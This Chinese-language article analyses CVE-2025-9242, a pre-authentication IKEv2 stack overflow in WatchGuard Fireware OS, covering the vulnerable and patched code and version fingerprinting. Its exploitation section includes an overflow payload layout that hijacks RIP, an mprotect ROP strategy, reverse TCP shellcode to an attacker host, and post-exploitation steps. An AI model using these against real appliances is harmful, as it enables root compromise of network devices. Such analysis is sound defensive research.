摘要

本報告詳述 CVE-2025-9242 的技術層面,這是 WatchGuard Fireware OS IKEv2 服務中發現的 Out-of-Bounds Write 漏洞。此漏洞位於 ike2_ProcessPayload_CERT 函式內部,由於 stack-based buffer overflow (堆疊緩衝區溢位),可能導致遠端未經驗證的任意程式碼執行(Remote Arbitrary Code Execution )。本分析涵蓋漏洞的機制、IKEv2 協議環境、版本 Fingerprinting 技術,以及利用此缺陷所涉及的挑戰與方法,包括使用 ROP chains 和 shellcode 來繞過現有的緩解措施。本報告著重於攻擊的技術細節以及在已更新的 OS 版本中所實施的防禦措施。

WatchGuard 防火牆危機:Out-of-Bounds Write 弱點如何變成 RCE?(CVE-2025-9242) | 資訊安全新聞

1. 簡介

網路安全環境持續受到網路基礎架構裝置中關鍵漏洞的挑戰。本研究聚焦於 CVE-2025-9242,一個影響 WatchGuard Fireware OS 的重大漏洞,該 OS 為各種網路安全設備提供支援。此缺陷在 iked 程序中被歸類為 Out-of-Bounds Write,可能導致遠端未經驗證的任意程式碼執行。此漏洞特別影響利用 IKEv2 進行行動使用者 VPN 或帶有動態 gateway peer 的分支機構 VPN 的設定 [1]。本報告提供了對此漏洞、其根本原因、攻擊方法論以及後續 patch 的深入技術檢視。

2. 漏洞說明 (CVE-2025-9242)

CVE-2025-9242 被描述為 WatchGuard Fireware OS 的 Internet Key Exchange version 2 (IKEv2) daemon ( iked ) 程序中的 Out-of-Bounds Write。漏洞的核心在於 ike2_ProcessPayload_CERT 函式在處理 Certificate payload 期間對輸入資料的處理不當。具體來說,當攻擊者控制的緩衝區 pIDPld.identification.buffer memcpy 操作期間超過 identification stack buffer 的固定大小時,就會發生 stack-based buffer overflow [1]。

2.1. 漏洞程式碼分析

從 Firmware 分析重建的未修補版本 ike2_ProcessPayload_CERT 函式,顯示了缺少關鍵長度檢查的情況。此函式的設計是將用戶端 identification 資料複製到 local stack buffer。關鍵程式碼如下:

  1. // src/ike/iked/v2/ike2_payload_cert.c
  2. int ike2_ProcessPayload_CERT(uint8_t *pIkeSA, p_id_t *pIDPld)
  3. {
  4. char identification [520]; // Fixed-size stack buffer
  5. memset(identification, 0, sizeof(identification));
  6. ...
  7. // Vulnerability: Stack-based buffer overflow
  8. // * pIDPld.identification is an attacker-controlled buffer
  9. // * identification is a fixed size stack buffer of 520 bytes
  10. memcpy(identification, pIDPld.identification.buffer, pIDPld.identification.length); // No length check
  11. ...
  12. int status = CMgrValidateCert_GetPubKey(...);
  13. if (status != 0)
  14. wglog_trace_r("failed to validate received peer certificate");
  15. wglog_trace_r("successfully validated received peer certificate");
  16. }

在此 code snippet 中, identification 是一個在堆疊上分配的 520 位元組緩衝區。 memcpy 函式從 pIDPld.identification.buffer 複製資料,其長度由 pIDPld.identification.length 指定。如果 pIDPld.identification.length 大於 520,就會發生 buffer overflow,覆寫相鄰的 stack frames,並可能導致 control flow hijacking [1]。

2.2. Patch 分析

Firmware (12.11.4) 的修補版本在 memcpy 操作之前引入了長度檢查,有效地緩解了 buffer overflow。修改後的程式碼如下:

  1. // src/ike/iked/v2/ike2_payload_cert.c
  2. int ike2_ProcessPayload_CERT(uint8_t *pIkeSA, p_id_t *pIDPld)
  3. {
  4. char identification [512]; // Note: Buffer size changed to 512 in patched version
  5. memset(identification, 0, sizeof(identification));
  6. ...
  7. // CVE-2025-9242 length check patch
  8. if (pIDPld.identification.length > 0x200) // 0x200 is 512 in decimal
  9. {
  10. wglog_trace_r("received ID data legth(%d) is larger than expected length",
  11. gProgram, pIDPld.identification.length);
  12. return -1; // Return error if length exceeds buffer size
  13. }
  14. memcpy(identification, pIDPld.identification.buffer, pIDPld.identification.length);
  15. ...
  16. int status = CMgrValidateCert_GetPubKey(...);
  17. if (status != 0)
  18. wglog_trace_r("failed to validate received peer certificate");
  19. wglog_trace_r("successfully validated received peer certificate");
  20. }

引入 if (pIDPld.identification.length > 0x200) 檢查可確保輸入長度不超過分配的緩衝區大小 (0x200 位元組,即 512 位元組),從而防止 overflow。如果長度過大,函式現在會返回一個錯誤,防止有漏洞的 memcpy 以過大的輸入執行 [1]。另外值得注意的是,在修補版本中,緩衝區大小從 520 位元組減少到 512 位元組,與 0x200 (十進制 512) 的檢查保持一致。

3. IKEv2 協議與攻擊面

Internet Key Exchange version 2 (IKEv2) 協議主要在 UDP port 500 上運行,是建立 Virtual Private Network (VPN) tunnels 的基礎。它管理加密參數、authentication 和 key exchange 在兩個 peers 之間的安全性協商。此漏洞在 IKEv2 協議的未經驗證階段即可觸及 [1]。

3.1. IKEv2 交換階段

IKEv2 協議通常涉及兩個主要的交換階段來建立 Security Association (SA):

  1. IKE_SA_INIT: 此初始階段建立一個基本的、未經驗證的 IKE SA。它涉及 cryptographic proposals、Diffie-Hellman public keys 和 nonces 的交換。此階段不進行 authentication;它純粹是為安全通信建立加密原語(primitives) [1]。
  2. IKE_SA_AUTH: 繼 IKE_SA_INIT 之後,此階段對 peers 進行 authentication 並建立 child SAs。此 packet 帶有一個加密的 Payload,由在 IKE_SA_INIT 階段協商的 transforms 所保護。至關重要的是,此階段可以包含 Identification - Initiator payload 和 Certificate payload,這正是呼叫有漏洞函式 ike2_ProcessPayload_CERT 的地方 [1]。

此漏洞的關鍵在於 ike2_ProcessPayload_CERT 函式在 IKE_SA_AUTH 階段被呼叫,但卻在 certificate validation 之前 。這意味著遠端、未經驗證的攻擊者可以在 pre-authentication 階段觸發 overflow [1]。

3.2. 用於 Exploit 的 Packet 結構

為了到達有漏洞的程式碼 Path,攻擊者必須向 WatchGuard IKEv2 服務發送兩個特定的 packets:

  1. 一個 IKE_SA_INIT packet。
  2. 一個 IKE_SA_AUTH packet,包含一個 oversized Identification - Initiator payload 和一個 Certificate payload [1]。

IKE_SA_AUTH packet 結構的範例,突顯相關 payloads,如下所示:

Internet Security Association and Key Management Protocol
    Initiator SPI: aae76f3726073034
    Responder SPI: f1b3cf883e18a45c
    Next payload: Encrypted and Authenticated (46)
    Version: 2.0
    Exchange type: IKE_AUTH (35)
    Flags: 0x08 (Initiator, No higher version, Request)
    Message ID: 0x00000001
    Length: 1616
    Payload: Encrypted and Authenticated (46)
        Initialization Vector: 57401bf413505f5550173a07d778d68f (16 bytes)
        Encrypted Data (1552 bytes) <AES-CBC-256 [RFC3602]>
        Decrypted Data (1552 bytes)
            Contained Data (1538 bytes)
                Payload: Identification - Initiator (35) <---
                    Payload length: 521
                    ID type: FQDN (2)
                    [...] Identification Data:(A*513)      <---
                Payload: Certificate (37)                <---
                Payload: Notify (41) - INITIAL_CONTACT
                Payload: Notify (41) - HTTP_CERT_LOOKUP_SUPPORTED
                Payload: Certificate Request (38)
                Payload: Configuration (47)
                Payload: Security Association (33)
                Payload: Traffic Selector - Initiator (44) # 1
                Payload: Traffic Selector - Responder (45) # 1
                Payload: Vendor ID (43) : RFC 3706 DPD (Dead Peer Detection)
                Payload: Notify (41) - MOBIKE_SUPPORTED
                Payload: Notify (41) - MULTIPLE_AUTH_SUPPORTED
            Padding (13 bytes)
            Pad Length: 13
        Integrity Checksum Data: 3e2683f32beaaddeb8f3f0d43f7b0b2b (16 bytes) <HMAC_SHA2_256_128 [RFC4868]>[correct]

4. Version Fingerprinting

在分析過程中,發現了一種用於 WatchGuard Fireware OS 的 unauthenticated version Fingerprinting 的獨特方法。這涉及一個 base64-encoded string,該 string 嵌入在 server 的 IKEv2 response 中的客製化 Vendor ID payload 內。此 Vendor ID 不屬於標準 IKE RFCs 的一部分,使其成為 WatchGuard 實作的獨特 identifier [1]。

4.1. Vendor ID 分析

Vendor ID payload 包含一個 32 位元組 hash,後面跟著一個 base64-encoded string。原始 Vendor ID 資料的範例如下:

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243
00000030: 546a 3033 4d54 6b34 4f54 513d

base64-encoded 部分 Vk49MTIuMTEuMyBCTj03MTk4OTQ= ,當 decode 後,揭示了 Firmware 版本和 build number:

~ # echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
VN=12.11.3 BN=719894

這提供了一個可靠且 unauthenticated 的機制來確定 Fireware OS 的確切版本,這對於識別有漏洞的 appliances 至關重要 [1]。

5. Exploitation Methodology

利用此 stack-based buffer overflow 需要仔細構造一個 malicious payload 和一個繞過現有安全緩解措施的策略。主要目標是透過覆寫堆疊上的 return instruction pointer (RIP) 來實現任意程式碼執行。

5.1. Triggering the Overflow

Exploitation 始於在 IKE_SA_AUTH packet 中發送一個 oversized Identification payload。精心製作的 Payload 覆寫 520 位元組的 identification 緩衝區和後續 stack-saved registers。Payload 結構範例描述如下:

identification = (
    b'A' * 520 +                      // Overwrites the identification buffer
    b'B' * 8 +                       // Overwrites saved RBX
    b'C' * 8 +                       // Overwrites saved R12
    b'D' * 8 +                       // Overwrites saved R13
    b'E' * 8 +                       // Overwrites saved R14
    b'F' * 8 +                       // Overwrites saved R15
    b'G' * 8 +                       // Overwrites saved RBP
    b'\xDE\xAD\xBE\xEF\x13\x37\xC0\xD3'  // Overwrites saved RIP with a controlled address
)

在 x86-64 架構中,函式 prologues 通常會將各種 registers (RBX, RBP, R12-R15) 儲存到堆疊上。然後,函式 epilogue 會使用 POP 指令 restore 這些 registers,最後執行 RET 指令,該指令從堆疊中彈出 saved RIP 並轉移控制。透過 overflow identification 緩衝區,攻擊者可以控制彈出到這些 registers 的值,包括 RIP [1]。

以下 assembly snippet 說明了典型的函式 epilogue:

        0041f5ba 5b              POP        RBX
        0041f5bb 41 5c           POP        R12
        0041f5bd 41 5d           POP        R13
        0041f5bf 41 5e           POP        R14
        0041f5c1 41 5f           POP        R15
        0041f5c3 5d              POP        RBP
        0041f5c4 c3              RET

當使用精心製作的 Payload 時, RET 指令會嘗試跳轉到攻擊者控制的 address (例如 0xDEADBEEF1337C0D3 ),如果 address 無效,則會導致 segmentation fault,但這證明了對程式執行流程的控制 [1]。

5.2. Bypassing Mitigations: ROP Chains and NX Bit

儘管能夠控制 RIP,但直接程式碼執行通常會受到現代安全緩解措施的阻礙,例如 Non-Executable (NX) bit。WatchGuard Fireware OS 雖然缺少一些常見的緩解措施,如 Address Space Layout Randomization (ASLR) 和 stack canaries,但確實強制執行 NX bit,阻止直接執行放置在堆疊上的程式碼 [1]。

為了繞過 NX bit,採用了 Return-Oriented Programming (ROP) chain。該策略涉及建立一個 ROP chain 來呼叫 mprotect system call。 mprotect 函式可以更改一個區域的記憶體保護,特別是將堆疊標記為 executable。一旦堆疊是 executable,攻擊者的 shellcode 就可以放置在緩衝區中並隨後執行 [1]。

一個關鍵挑戰是 Fireware OS v12.11.3 中缺少標準 interactive shell (例如 /bin/sh , /bin/bash , /bin/ash )。這需要一個更複雜的 shellcode Payload。代替依賴 system("<cmd>") (它在內部呼叫 execve /bin/sh -c "{cmd}" ),所選擇的方法是一個緊湊的 reverse TCP shellcode,它會生成一個 interactive Python interpreter [1]。

  1. char *argv[] = { "/usr/bin/python3", "-i", "-u", NULL };
  2. // Setup server address for reverse connection
  3. struct sockaddr_in serv_addr;
  4. memset(&serv_addr, 0, sizeof(serv_addr));
  5. serv_addr.sin_family = AF_INET;
  6. serv_addr.sin_port = htons(target_port);
  7. inet_aton(target_ip, &serv_addr.sin_addr);
  8. // Connect to remote host (attacker's machine)
  9. int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  10. connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
  11. // Duplicate file descriptors (stdin, stdout, stderr) to the socket
  12. dup2(sockfd, 0);
  13. dup2(sockfd, 1);
  14. dup2(sockfd, 2);
  15. // Spawn python3 interactive shell over TCP
  16. execve("/usr/bin/python3", argv, NULL);

此 shellcode 建立一個 reverse TCP connection 到攻擊者控制的 IP 和 port,將標準輸入、輸出和錯誤 streams 複製到此 socket,然後以 interactive mode 執行 /usr/bin/python3 。這有效地授予了在有漏洞 appliance 上以 root 權限運行的遠端 interactive Python shell [1]。

5.3. Post-Exploitation

一旦獲得 shell,就可以實現進一步的 escalation 和系統控制。選項包括在 Python shell 內直接執行 execve 以將 filesystem remount 為 read/write,下載和 symlinking 一個 BusyBox binary 以提供一個更熟悉的 Linux shell 環境,以及其他標準的 post-exploitation 技術 [1]。

6. 結論

WatchGuard Fireware OS 中的 CVE-2025-9242 漏洞突顯了 stack-based buffer overflows 的持續威脅,即使在現代企業級安全 appliances 中也是如此。缺少 robust exploit mitigations (例如 ASLR 和 stack canaries) 顯著降低了 Exploitation 的門檻,使這些裝置成為有吸引力的目標。對有漏洞程式碼、IKEv2 協議互動以及複雜的 ROP-based exploitation 策略的詳細分析,強調了全面安全性開發生命週期實踐的重要性。引入關鍵長度檢查的 patch 對於保護受影響的系統至關重要。持續的警惕和採用現代 exploit mitigations 對於防禦此類關鍵漏洞至關重要。